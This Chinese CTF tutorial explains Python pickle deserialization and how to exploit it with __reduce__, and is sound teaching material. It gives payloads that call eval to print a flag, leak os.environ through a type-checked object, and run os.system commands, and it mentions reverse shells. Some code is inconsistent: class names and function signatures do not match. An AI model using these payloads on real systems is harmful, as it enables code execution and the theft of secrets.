CTF/7/python中pickle序列化与反序列化漏洞的利用(利用__reduce__)
最后编辑时间:2024-09-28 19:59:22 星期六
CTF/7/python中pickle序列化与反序列化漏洞的利用(利用__reduce__)
前置基础:
- python类与对象
- VS Code(或者任何一个你运用的顺手代码工具)
- linux基本命令
- base64编码 参考链接->https://gairuo.com/p/python-library-base64
- bytes字节串 参考链接->https://www.cnblogs.com/springsnow/p/13174511.html
- php序列化和反序列化漏洞利用(最好有)
- 反弹shell(最好有)
类与对象 and 为什么要序列化和反序列化?
这里建议先去看看我之前写的PHP序列化与反序列化中对类与对象的描述
Pickle库
在代码中加入以下语句来引入Pickle库
import pickle
Pickle 中有几个主要的语法
pickle.dump(obj, file) #将对象序列化后的字符写入文件
pickle.load(file) #将文件中的序列化字符转化为对象
pickle.dumps(obj) #将对象转化为序列化bytes字符串
pickle.loads(bytes_object) #将序列化bytes字符串转化为对象
对于CTF,后两个用的多,本篇重点讨论后两个
试试看Pickle序列化吧
import pickle
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
a = block("1","red")
print(pickle.dumps(a))
#输出:
#b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05block\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x04data\x94\x8c\x03red\x94ub.'
#什么,你看不懂这一大串是什么,回去上面看bytes字节串!!!
这样,我们就把一个对象存储在了bytes字节串中了
至于具体的原理,别急,先看下去
试试看Pickle反序列化吧
import pickle
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
block_data = b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05block\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x04data\x94\x8c\x03red\x94ub.'
a = pickle.loads(block_data)
print(a)
#输出:
#<__main__.block object at 0x000001957E212270>
学过C/C++的师傅应该可以看出0x000001957E212270应该是一个地址
这证明我们的bytes字节串成功被反序列化为了一个对象,类型为block
具体实现?
参考这里:https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0Dy7GQDt%3DG%3DGCDlhjeaTxfORMx7KKq%3Dx
Pickle的具体实现依靠汇编语言,如果没有基础的师傅可以跳过这一节,(编者也不会QAQ
如何利用Pickle反序列化漏洞
如果不会汇编也没关系哦,接下来全程不涉及汇编
假设题目不设置保护(几乎不存在)
题目:
flag="我是flag"
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
block_data = base64.b64decode(["POST"]) #注意要用base64传入
block1 = pickle.loads(block_data)
if block1.name == "admin" and block1.data == "nimda":
print(flag)
生成攻击的代码就是:
import pickle
import base64
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
a = block("admin","admin")
base64.b64encode(pickle.dumps(a)).decode("utf-8")
题目有保护
这里要先介绍一下一个特殊类方法def __reduce__(self):
看代码:
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
def __reduce__(self):
return(eval,("print(1+1)",))
a = block("admin","admin")
A = pickle.dumps(a)
B = pickle.loads(A)
#结果:
#2
这个def __reduce__(self):方法是:当bytes字节串被反序列化时要干的事情,类似php的魔术方法,如果你不理解,就把它当成一个只要反序列化就会自动执行的一个函数即可,函数的返回值如下
return(a,b)
a: 你要执行的函数
b: a的参数(一个元组) 例如:("print(1+1)",)
而且,和php不同的是:pickle的__reduce__方法是跟着bytes字节串走的,也就是说,我们可以在本地构造__reduce__方法,然后直接发到服务器上!
#服务器上
flag="我是flag"
class block:
def __init__(self, name, data) -> None:
self.name = name
self.data = data
block_data = base64.b64decode(["POST"]) #注意要用base64传入
block1 = pickle.loads(block_data)
#没有可以用于攻击的函数怎么办呢?
#本地上
class block:
def __reduce__(self):
return(eval,("print(flag)",))
a = block()
base64.b64encode(pickle.dumps(a)).decode("utf-8")
无论是否反序列化成功,__reduce__必定会发动!,但是回显就不一定了
此时,就有以下几个方法
1. 直接执行各种命令(适用于命令行回显的情况)
2. 构造反弹shell命令(适用于题目允许链接外网的情况)
3. 更改可以显示的地方(例如网页模板来显示)
题目检验了类型
例如,有这么一道题目
def A():
input_data = ["POST"]
if B(input_data):
return C(input_data) #用于正常显示网页
else:
return jsonify({"error": "not block"})
def B():
try:
block_data = base64.b64decode(serialized_pet)
block1 = pickle.loads(block_data)
if isinstance(block1, block):#检测是否为block类型
return True
return False
except Exception:
return False
分析问题,题目做了
- 对于反序列化的结果的类型检测,不回显,直接输命令无效
- 不允许出网,反射shell没用
- 固定模板,报错没用
唯一可行的方法是把输出放到name或者data里面,让题目显示出来
代码
class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
def __reduce__(self):
return (eval,('Pet(__import__("os").environ,1)',))
def B(block_data):
try:
block_data = base64.b64decode(block_data)
block1 = pickle.loads(block_data)
if isinstance(block1, block):
return True
return False
except Exception:
return False
a = block(1,1)
A = base64.b64encode(pickle.dumps(a)).decode("utf-8")
print(B(A))
#输出:
#True
如果无法理解,可以试试看这段代码
class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
a = eval('Pet(1,1)')
这里出来的a就是一个block类型__import__("os").environ这个是打印环境目录,如果要执行系统命令,则为__import__("os").system("ls")

浙公网安备 33010602011771号